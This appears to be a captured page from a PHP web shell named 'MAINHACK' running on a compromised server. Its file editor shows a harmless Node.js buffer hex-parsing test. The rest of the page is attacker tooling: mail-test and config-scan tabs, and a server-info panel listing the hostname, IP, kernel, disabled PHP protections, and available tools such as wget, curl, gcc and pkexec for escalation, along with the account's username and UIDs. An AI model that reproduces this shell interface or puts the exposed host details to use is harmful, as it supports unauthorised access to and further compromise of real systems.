[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test-buffer-badhex.js
'use strict'; var Buffer = require('../../').Buffer; var assert = require('assert'); var Buffer = require('../../').Buffer; // Test hex strings and bad hex strings { var buf1 = Buffer.alloc(4); assert.strictEqual(buf1.length, 4); assert.deepStrictEqual(buf1, new Buffer([0, 0, 0, 0])); assert.strictEqual(buf1.write('abcdxx', 0, 'hex'), 2); assert.deepStrictEqual(buf1, new Buffer([0xab, 0xcd, 0x00, 0x00])); assert.strictEqual(buf1.toString('hex'), 'abcd0000'); assert.strictEqual(buf1.write('abcdef01', 0, 'hex'), 4); assert.deepStrictEqual(buf1, new Buffer([0xab, 0xcd, 0xef, 0x01])); assert.strictEqual(buf1.toString('hex'), 'abcdef01'); var buf2 = Buffer.from(buf1.toString('hex'), 'hex'); assert.strictEqual(buf1.toString('hex'), buf2.toString('hex')); var buf3 = Buffer.alloc(5); assert.strictEqual(buf3.write('abcdxx', 1, 'hex'), 2); assert.strictEqual(buf3.toString('hex'), '00abcd0000'); var buf4 = Buffer.alloc(4); assert.deepStrictEqual(buf4, new Buffer([0, 0, 0, 0])); assert.strictEqual(buf4.write('xxabcd', 0, 'hex'), 0); assert.deepStrictEqual(buf4, new Buffer([0, 0, 0, 0])); assert.strictEqual(buf4.write('xxab', 1, 'hex'), 0); assert.deepStrictEqual(buf4, new Buffer([0, 0, 0, 0])); assert.strictEqual(buf4.write('cdxxab', 0, 'hex'), 1); assert.deepStrictEqual(buf4, new Buffer([0xcd, 0, 0, 0])); var buf5 = Buffer.alloc(256); for (var i = 0; i < 256; i++) buf5[i] = i; var hex = buf5.toString('hex'); assert.deepStrictEqual(Buffer.from(hex, 'hex'), buf5); var badHex = hex.slice(0, 256) + 'xx' + hex.slice(256, 510); assert.deepStrictEqual(Buffer.from(badHex, 'hex'), buf5.slice(0, 128)); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002